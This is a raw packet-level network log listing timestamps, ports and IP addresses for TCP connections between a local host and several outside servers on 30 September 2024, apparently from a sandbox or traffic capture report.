Sep 30, 2024 18:58:08.649868011 CEST	443	49718	20.190.159.71	192.168.2.5
Sep 30, 2024 18:58:08.649929047 CEST	49718	443	192.168.2.5	20.190.159.71
Sep 30, 2024 18:58:08.649946928 CEST	443	49718	20.190.159.71	192.168.2.5
Sep 30, 2024 18:58:08.650166988 CEST	49718	443	192.168.2.5	20.190.159.71
Sep 30, 2024 18:58:08.650223017 CEST	49718	443	192.168.2.5	20.190.159.71
Sep 30, 2024 18:58:08.650352955 CEST	443	49718	20.190.159.71	192.168.2.5
Sep 30, 2024 18:58:08.650414944 CEST	443	49718	20.190.159.71	192.168.2.5
Sep 30, 2024 18:58:08.650460005 CEST	49718	443	192.168.2.5	20.190.159.71
Sep 30, 2024 18:58:08.674361944 CEST	49719	443	192.168.2.5	20.190.159.71
Sep 30, 2024 18:58:08.674400091 CEST	443	49719	20.190.159.71	192.168.2.5
Sep 30, 2024 18:58:08.674618006 CEST	49719	443	192.168.2.5	20.190.159.71
Sep 30, 2024 18:58:08.674618959 CEST	49719	443	192.168.2.5	20.190.159.71
Sep 30, 2024 18:58:08.674645901 CEST	443	49719	20.190.159.71	192.168.2.5
Sep 30, 2024 18:58:08.701337099 CEST	443	49717	40.126.32.133	192.168.2.5
Sep 30, 2024 18:58:08.701360941 CEST	443	49717	40.126.32.133	192.168.2.5
Sep 30, 2024 18:58:08.701406002 CEST	443	49717	40.126.32.133	192.168.2.5
Sep 30, 2024 18:58:08.701473951 CEST	443	49717	40.126.32.133	192.168.2.5
Sep 30, 2024 18:58:08.701589108 CEST	49717	443	192.168.2.5	40.126.32.133
Sep 30, 2024 18:58:08.701589108 CEST	49717	443	192.168.2.5	40.126.32.133
Sep 30, 2024 18:58:08.701589108 CEST	49717	443	192.168.2.5	40.126.32.133
Sep 30, 2024 18:58:08.701725960 CEST	49717	443	192.168.2.5	40.126.32.133
Sep 30, 2024 18:58:08.701745033 CEST	443	49717	40.126.32.133	192.168.2.5
Sep 30, 2024 18:58:08.701756001 CEST	49717	443	192.168.2.5	40.126.32.133
Sep 30, 2024 18:58:08.701761007 CEST	443	49717	40.126.32.133	192.168.2.5
Sep 30, 2024 18:58:08.726851940 CEST	49720	443	192.168.2.5	40.113.103.199
Sep 30, 2024 18:58:08.726892948 CEST	443	49720	40.113.103.199	192.168.2.5
Sep 30, 2024 18:58:08.726960897 CEST	49720	443	192.168.2.5	40.113.103.199
Sep 30, 2024 18:58:08.727560997 CEST	49720	443	192.168.2.5	40.113.103.199
Sep 30, 2024 18:58:08.727576017 CEST	443	49720	40.113.103.199	192.168.2.5
Sep 30, 2024 18:58:09.437719107 CEST	443	49719	20.190.159.71	192.168.2.5
Sep 30, 2024 18:58:09.491950035 CEST	49719	443	192.168.2.5	20.190.159.71
Sep 30, 2024 18:58:09.547136068 CEST	443	49720	40.113.103.199	192.168.2.5
Sep 30, 2024 18:58:09.547231913 CEST	49720	443	192.168.2.5	40.113.103.199
Sep 30, 2024 18:58:09.652585983 CEST	49720	443	192.168.2.5	40.113.103.199
Sep 30, 2024 18:58:09.652622938 CEST	443	49720	40.113.103.199	192.168.2.5
Sep 30, 2024 18:58:09.653054953 CEST	443	49720	40.113.103.199	192.168.2.5
Sep 30, 2024 18:58:09.665937901 CEST	49720	443	192.168.2.5	40.113.103.199
Sep 30, 2024 18:58:09.666436911 CEST	49720	443	192.168.2.5	40.113.103.199
Sep 30, 2024 18:58:09.666450024 CEST	443	49720	40.113.103.199	192.168.2.5
Sep 30, 2024 18:58:09.666856050 CEST	49720	443	192.168.2.5	40.113.103.199
Sep 30, 2024 18:58:09.675348997 CEST	49719	443	192.168.2.5	20.190.159.71
Sep 30, 2024 18:58:09.675374031 CEST	443	49719	20.190.159.71	192.168.2.5
Sep 30, 2024 18:58:09.677612066 CEST	49719	443	192.168.2.5	20.190.159.71
Sep 30, 2024 18:58:09.677618980 CEST	443	49719	20.190.159.71	192.168.2.5
Sep 30, 2024 18:58:09.677678108 CEST	49719	443	192.168.2.5	20.190.159.71
Sep 30, 2024 18:58:09.677689075 CEST	443	49719	20.190.159.71	192.168.2.5
Sep 30, 2024 18:58:09.711410046 CEST	443	49720	40.113.103.199	192.168.2.5
Sep 30, 2024 18:58:09.846601963 CEST	443	49720	40.113.103.199	192.168.2.5
Sep 30, 2024 18:58:09.846987963 CEST	443	49720	40.113.103.199	192.168.2.5
Sep 30, 2024 18:58:09.848102093 CEST	49720	443	192.168.2.5	40.113.103.199
Sep 30, 2024 18:58:09.851201057 CEST	49720	443	192.168.2.5	40.113.103.199
Sep 30, 2024 18:58:09.851222038 CEST	443	49720	40.113.103.199	192.168.2.5
Sep 30, 2024 18:58:10.527515888 CEST	443	49719	20.190.159.71	192.168.2.5
Sep 30, 2024 18:58:10.527539015 CEST	443	49719	20.190.159.71	192.168.2.5
Sep 30, 2024 18:58:10.527556896 CEST	443	49719	20.190.159.71	192.168.2.5
Sep 30, 2024 18:58:10.527563095 CEST	443	49719	20.190.159.71	192.168.2.5
Sep 30, 2024 18:58:10.527587891 CEST	443	49719	20.190.159.71	192.168.2.5
Sep 30, 2024 18:58:10.527637959 CEST	443	49719	20.190.159.71	192.168.2.5
Sep 30, 2024 18:58:10.527730942 CEST	49719	443	192.168.2.5	20.190.159.71
Sep 30, 2024 18:58:10.527730942 CEST	49719	443	192.168.2.5	20.190.159.71
Sep 30, 2024 18:58:10.527997971 CEST	49719	443	192.168.2.5	20.190.159.71
Sep 30, 2024 18:58:10.528022051 CEST	443	49719	20.190.159.71	192.168.2.5
Sep 30, 2024 18:58:10.528036118 CEST	49719	443	192.168.2.5	20.190.159.71
Sep 30, 2024 18:58:10.528043985 CEST	443	49719	20.190.159.71	192.168.2.5
Sep 30, 2024 18:58:10.550277948 CEST	49721	443	192.168.2.5	20.190.159.71
Sep 30, 2024 18:58:10.550335884 CEST	443	49721	20.190.159.71	192.168.2.5
Sep 30, 2024 18:58:10.550427914 CEST	49721	443	192.168.2.5	20.190.159.71
Sep 30, 2024 18:58:10.550585032 CEST	49721	443	192.168.2.5	20.190.159.71
Sep 30, 2024 18:58:10.550595045 CEST	443	49721	20.190.159.71	192.168.2.5
Sep 30, 2024 18:58:12.300823927 CEST	443	49721	20.190.159.71	192.168.2.5
Sep 30, 2024 18:58:12.308697939 CEST	49721	443	192.168.2.5	20.190.159.71
Sep 30, 2024 18:58:12.308765888 CEST	443	49721	20.190.159.71	192.168.2.5
Sep 30, 2024 18:58:12.310205936 CEST	49721	443	192.168.2.5	20.190.159.71
Sep 30, 2024 18:58:12.310261965 CEST	443	49721	20.190.159.71	192.168.2.5
Sep 30, 2024 18:58:12.310331106 CEST	49721	443	192.168.2.5	20.190.159.71
Sep 30, 2024 18:58:12.310349941 CEST	443	49721	20.190.159.71	192.168.2.5
Sep 30, 2024 18:58:12.438448906 CEST	49725	80	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:12.443440914 CEST	80	49725	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:12.443600893 CEST	49725	80	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:12.627556086 CEST	443	49721	20.190.159.71	192.168.2.5
Sep 30, 2024 18:58:12.627580881 CEST	443	49721	20.190.159.71	192.168.2.5
Sep 30, 2024 18:58:12.627620935 CEST	443	49721	20.190.159.71	192.168.2.5
Sep 30, 2024 18:58:12.627687931 CEST	49721	443	192.168.2.5	20.190.159.71
Sep 30, 2024 18:58:12.627728939 CEST	443	49721	20.190.159.71	192.168.2.5
Sep 30, 2024 18:58:12.628319979 CEST	443	49721	20.190.159.71	192.168.2.5
Sep 30, 2024 18:58:12.628376961 CEST	49721	443	192.168.2.5	20.190.159.71
Sep 30, 2024 18:58:12.652434111 CEST	49726	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:12.652482033 CEST	443	49726	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:12.652563095 CEST	49726	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:12.653537035 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:12.653590918 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:12.653721094 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:12.654131889 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:12.654145956 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:12.654534101 CEST	49726	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:12.654545069 CEST	443	49726	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:12.659110069 CEST	49721	443	192.168.2.5	20.190.159.71
Sep 30, 2024 18:58:12.659147024 CEST	443	49721	20.190.159.71	192.168.2.5
Sep 30, 2024 18:58:12.712457895 CEST	49725	80	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:12.719314098 CEST	80	49725	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:12.749401093 CEST	49730	443	192.168.2.5	40.113.103.199
Sep 30, 2024 18:58:12.749480963 CEST	443	49730	40.113.103.199	192.168.2.5
Sep 30, 2024 18:58:12.749650955 CEST	49730	443	192.168.2.5	40.113.103.199
Sep 30, 2024 18:58:12.750214100 CEST	49730	443	192.168.2.5	40.113.103.199
Sep 30, 2024 18:58:12.750243902 CEST	443	49730	40.113.103.199	192.168.2.5
Sep 30, 2024 18:58:12.760112047 CEST	49730	443	192.168.2.5	40.113.103.199
Sep 30, 2024 18:58:12.807408094 CEST	443	49730	40.113.103.199	192.168.2.5
Sep 30, 2024 18:58:12.903218031 CEST	80	49725	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:12.917678118 CEST	49731	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:12.917728901 CEST	443	49731	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:12.917818069 CEST	49731	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:12.956113100 CEST	49725	80	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:12.957705021 CEST	49731	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:12.957731009 CEST	443	49731	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:13.426320076 CEST	443	49731	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:13.426393032 CEST	49731	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:13.432116985 CEST	49731	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:13.432122946 CEST	443	49731	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:13.432471991 CEST	443	49731	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:13.439167976 CEST	49731	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:13.483413935 CEST	443	49731	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:13.626271009 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:13.626614094 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:13.626631975 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:13.627111912 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:13.627363920 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:13.627851009 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:13.627922058 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:13.629203081 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:13.629261971 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:13.629290104 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:13.662559986 CEST	443	49730	40.113.103.199	192.168.2.5
Sep 30, 2024 18:58:13.662628889 CEST	49730	443	192.168.2.5	40.113.103.199
Sep 30, 2024 18:58:13.662657022 CEST	49730	443	192.168.2.5	40.113.103.199
Sep 30, 2024 18:58:13.671416044 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:13.678129911 CEST	443	49726	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:13.678388119 CEST	49726	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:13.678414106 CEST	443	49726	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:13.678868055 CEST	443	49726	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:13.678939104 CEST	49726	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:13.679650068 CEST	443	49726	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:13.679719925 CEST	49726	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:13.679908991 CEST	49726	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:13.679975986 CEST	443	49726	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:13.773236036 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:13.773261070 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:13.887413025 CEST	443	49726	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:13.887478113 CEST	49726	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:13.973889112 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:14.321655989 CEST	49732	443	192.168.2.5	40.113.103.199
Sep 30, 2024 18:58:14.321708918 CEST	443	49732	40.113.103.199	192.168.2.5
Sep 30, 2024 18:58:14.321799994 CEST	49732	443	192.168.2.5	40.113.103.199
Sep 30, 2024 18:58:14.322638988 CEST	49732	443	192.168.2.5	40.113.103.199
Sep 30, 2024 18:58:14.322654009 CEST	443	49732	40.113.103.199	192.168.2.5
Sep 30, 2024 18:58:14.346079111 CEST	443	49731	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:14.346280098 CEST	443	49731	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:14.346363068 CEST	49731	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:14.350780010 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.350840092 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.350847960 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.350889921 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.350893974 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:14.350897074 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.350924969 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.350939989 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.350960970 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:14.350971937 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:14.350975990 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.350985050 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.350999117 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:14.351013899 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.351041079 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:14.351048946 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.351063013 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:14.352861881 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.352977037 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:14.352984905 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.353270054 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:14.371324062 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.371337891 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.371376991 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.371407986 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:14.371413946 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.371423006 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.371458054 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.371488094 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:14.371488094 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:14.372550011 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.372611046 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:14.372620106 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.372905970 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:14.376100063 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.376154900 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:14.376162052 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.376173019 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.376210928 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.376231909 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:14.376236916 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.376254082 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:14.376296997 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:14.376358986 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.376405001 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.376424074 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:14.376430035 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.376475096 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:14.376475096 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:14.376801968 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.376842022 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.376847982 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:14.376867056 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.376877069 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.376913071 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:14.376913071 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:14.376923084 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.376957893 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:14.388243914 CEST	49731	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:14.457783937 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.457943916 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:14.457967043 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.458180904 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:14.583719015 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.583789110 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:14.583837032 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.583894014 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:14.584196091 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.584255934 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:14.584403992 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.584464073 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:14.584501028 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.584785938 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.584873915 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:14.584884882 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.585449934 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.585489035 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.585520029 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:14.585532904 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.585546970 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.585546970 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:14.585609913 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:14.585617065 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.585855961 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:14.585890055 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.585928917 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.585944891 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:14.585951090 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.585983038 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.585983038 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:14.585983038 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:14.585993052 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.586047888 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:14.586673975 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.586745024 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:14.586751938 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.586762905 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.586828947 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:14.586836100 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.586872101 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:14.587630987 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.587686062 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:14.587692022 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.587735891 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.587774992 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.587809086 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.587853909 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:14.587862015 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.587887049 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:14.588500023 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.588526964 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.588570118 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:14.588572025 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.588581085 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.588607073 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:14.588607073 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:14.589288950 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.589359999 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:14.589368105 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.589418888 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:14.670794964 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.670851946 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.670891047 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.670917988 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:14.670917988 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:14.670923948 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.670933962 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.670944929 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:14.670984983 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:14.671035051 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.671088934 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.671112061 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:14.671122074 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.671154022 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:14.671184063 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:14.671366930 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.671418905 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:14.797504902 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.797563076 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.797596931 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.797597885 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:14.797617912 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.797632933 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.797671080 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:14.797671080 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:14.797682047 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.797725916 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:14.797780991 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.798057079 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:14.798063040 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.798224926 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.798243046 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:14.798248053 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.798377991 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.798389912 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:14.798418999 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:14.798424006 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.798599958 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.798669100 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:14.798669100 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:14.798675060 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.798686981 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.798723936 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.798748016 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:14.798753977 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.799021959 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:14.799304008 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.799406052 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:14.799474001 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.799514055 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.799551964 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.799583912 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:14.799583912 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:14.799590111 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:14.799652100 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:14.799683094 CEST	49727	443	192.168.2.5	203.101.184.86
